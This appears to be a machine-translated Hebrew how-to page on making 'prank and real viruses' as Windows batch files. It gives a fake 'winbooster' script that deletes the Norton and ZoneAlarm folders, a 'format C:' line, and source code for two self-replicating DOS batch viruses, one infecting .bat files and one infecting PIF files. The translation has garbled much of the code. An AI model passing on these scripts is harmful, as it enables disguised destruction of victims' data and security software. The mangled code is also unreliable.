תוכן עניינים:
2025 מְחַבֵּר: John Day | [email protected]. שונה לאחרונה: 2025-01-13 06:57
כיצד להכין וירוסים קונדס ואמיתי ב- BATCH הערה: אני לא אחראי לנזקים שאתה גורם למחשב של מישהו אחר הערה: כשאתה רוצה לשמור את הקובץ עליך לשמור אותו כמשהו. באט.
שלב 1: וירוסים אמיתיים (פשוטים)
הראשון: העתק את הקוד ***************************************** **************@echo ברוכים הבאים ל- winbooster מאת ELECTROfun@echo אם אתה רוצה לגרום למחשב שלך להיות מהיר יותר, עליך לבצע את השלבים הבאים@השהה cd / c: dir dir c: / progra ~ 1 / norton ~ 1 @echo כעת עליך להקליד y ולחץ על enter @pause del c: / progra ~ 1 / norton ~ 1 @pause c: dir @pause @dir c: / progra ~ 1 dir c: / progra ~ 1 / zonea ~ 1 / zonealarm del c: / progra ~ 1 / zonea ~ 1 / zonealarm @echo בסדר עכשיו המחשב שלך הוא "ממש!" מהיר: יציאה ******************************************* *הערה: שמור את הקובץ כל מה שאתה רוצה. באט הערה: ניתן לשנות כל מה שאחרי @echo (אתה יכול לכתוב מה שאתה רוצה) השני: **************** צבע 02 פורמט C: ***************
שלב 2: וירוסים אמיתיים (מתקדמים)
1. *********************@אם לא '%0 ==' if '%_melt%==' gooto meltbeg:: ---- dummy מארח --------@echo offecho שלום עולם!:: ---- מארח דמה סוף ----@הלכו ל- MeLTend [MeLT_2a]: MeLTbeg@echo off%_MeLT%if '%1 ==' MeLT goto MeLT %2if don't exist %comspec %set comspec = %_ MeLT %command %comspec % /e: 5000 /c %0 MeLT virset MeLTcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT = set MeLTcl = goto MeLTend: MeLTrhset _MeLT = x%0%MeLTcl%: MeLTvirset MeLTH =%0if don't exist%_MeLT %% temp%\ nul set temp =%tmp%if exist%temp%\ MeLT_2a goto MeLTrun%0 MeLT fnd. %path%: MeLTfndshift%_MeLT%if '%2 ==' יציאה MeLTset MeLT =%2 \%MeLTH%.batif לא קיים%MeLT%set MeLT =%2 \%MeLTH%אם לא קיים%MeLT%הגדר MeLT = %2%MeLTH%.batif לא קיים%MeLT%להגדיר MeLT =%2%MeLTH%אם לא קיים%MeLT%עבור MeLTfndfind "MeLT"%temp%\ MeLT_2aattrib%temp%\ MeLT_2a +h: MeLTrun%MeLTH%MeLT s…%path%: MeLTsshift%_MeLT%if '%2 ==' exit MeLTfor %% a in (%2 \*. bat%2*.bat) do call%MeLTH%MeLT inf %% agoto MeLTs: MeLTinffind / i "MeLT" nulif not errorlevel 1 go MeLTnoecho @if not '%% 0 ==' if '%% _ melt %% ==' goto meltbeg> MeLT.ttype%3 >> MeLT.techo. >> MeLT.ttype% temp %\ MeLT_2a >> MeLT.tmove MeLT.t %3> nulexit MeLT: MeLTact - טקסט מסך להבהב ואז החזר לנורמליecho e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE> MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8 >> MeLT.techo e 120 B4 4C CD 21 00 >> MeLT.techo g >> MeLT.tdebugnuldel MeLT.texit MeLT: MeLTnoset MeLTC =%MeLTC%1if%MeLTC%== 1111111111 עבור למלטקט: MeLTend ********************************* ******** 2. זהו וירוס אשר 'מדביק' קבצי PIF, המשמשים את Windows להפעלת תוכניות DOS. זה עובד על ידי יצירת קבוצות נלוות מוסתרות המכילות עותקים של זה ולאחר מכן שינוי קובץ ה- PIF כך שאצווה הנלווית תפעל תחילה. לאחר הפעלת החבר היא מריצה את תוכנית המארח המקורית, ששמה מקודד לשותף. קבצי ה- pif מסומנים כך שהם לא יידבקו מחדש. רק PIF מושפעים, לא מבוצעים שינויים בתוכניות הנגועות. כדי 'לרפא', השתמש ב- PIFEDIT לשחזור שמות הקבצים המקוריים ולאחר מכן מחק את הקבצים המוסתרים. ***************@echo off:: שם קובץ מארח … set pifvo = LIST. COM:: שולח לולאה … אם '%1 ==' PiFV עבור ל- PiFV_%2:: הפעל את virus! set _PiFV = אם לא קיים%comspec%set comspec = C: / COMMAND. COM%_PiFV %% comspec% /e: 5000 /c%0 PiFV go> nulif קיים PiFV! del PiFV!:: הפעל את מערך המארח PiFVcl = %1 %2 %3 %4 %5 %6 %7 %8 %9call %0 PiFV hstset PiFVo = set PiFVcl =:: בדוק הפעלה … הד. תאריך | מצא / i "sat"> nul. PiFVif errorlevel 1 go to PiFV_endecho. מי טען שהוא יודע איך להכין מים.% PiFV% "אין עוד סכרים", אמר, "תשתמש במים שלי במקום זאת!" PiFV_msgecho [PiFV] מאת WaveFuncgoto PiFV_end: PiFV_hst%PiFVo%%PiFVcl%goto PiFV_end: PiFV_goset PiFVh =%0if don't exist%PiFVh%set PiFVh =%0.batif לא קיים%PiFVh%יציאה%. התקשר %0 PiFV inf %% aexit PiFV: PiFV_infset PiFVp = %3:: קבל שם קובץ קורבן וסמן זיהום:: מקובץ PIF באמצעות איתור באגים … אם קיים PiFV! goto PiFV_1echo m 124, 162 524> PiFV! echo e 100 '@set fn =' >> PiFV! echo m 524, 562 108 >> PiFV! echo n pifv $.bat >> PiFV! echo rcx >> PiFV! echo 47 >> PiFV! Echo w >> PiFV! Echo m 55E, 561 108 >> PiFV! Echo e 10C 0 >> PiFV! Echo n pifv $$. Bat >> PiFV! Echo rcx >> PiFV! Echo 10 >> Echo w >> PiFV! Echo q >> PiFV!: PiFV_1debug%PiFVp%nulcall PiFV $ set PiFVn =%fn%call PiFV $$ set PiFVi =%fn%del PiFV $ ?. bat:: pifvn = שם קובץ orig:: pifvi = סמן זיהום:: pifvp = pif שם קובץ:: pifvh = קובץ עטלף נלווה:: דלג על pifs נגועים או 'ריקים' … אם '%PiFVi%==' PiFV עבור PiFV_endif '%PiFVn%==' אל PiFV_end:: אל תצל על command.com (תהיה נחמד) echo %PiFVn %| find /i "command"> nulif not errorlevel 1 עבור PiFV_end:: ניתן להדבקה - צור אצווה נלווית …:: (הקוד הבא רצו את התוסף) echo e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88> PiFV $$ echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21 >> PiFV $$ echo e 120 c3 73 65 74 20 66 6e 3d 24 00 >> PiFV $$ echo n pifv $.com >> PiFV $$ echo rcx >> PiFV $$ echo 2a >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debugnulecho%PiFVn%| PiFV $> PiFV $$. Batcall PiFV $$ set PiFVb =%fn%.batdel PiFV $?.*:: pifvb = שם אצווה חדש:: אין להצל אם ל- comp יש אותו שם בשם hostif%PiFVo%==%PiFVb%goto PiFV_endif קיים%PiFVb%goto PiFV_endecho @echo off>%PiFVb%echo set pifvo =%pifvn%>>%PiFVb%מוצא "PiFV">%PiFVb%attrib%PiFVb% +h::… והפנו את ה- PIF לעבר ה- companionecho e 15E 'PiFV', 0> PiFV $$ echo e 124 '%PiFVb%', 0 >> PiFV $$ echo w >> PiFV $$ echo q >> PiFV $$ debug %PiFVp %nuldel PiFV $$:: אני חושב שסיימנו! צא מ PiFV: PiFV_end:: תוהה כמה באגים יש לכל זה? רק אחת:: דרך לגלות… **********
שלב 3: תעלול וירוס וטריק
1. וירוס התעלולים ******************* color 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo* ************************* הערה: "צבע 02" הוא להפוך את הטקסט לירוק green2.trick (קוד מטריקס) ****** *************************@echo offcolor 02: startecho %random % %random % %random % %random % %random % %random % % אקראיים%% אקראיים%% אקראיים%% אקראיים%% אקראיים% אקראיים% אקראיים% אקראיים%% אקראיים% התחל *********************** *******************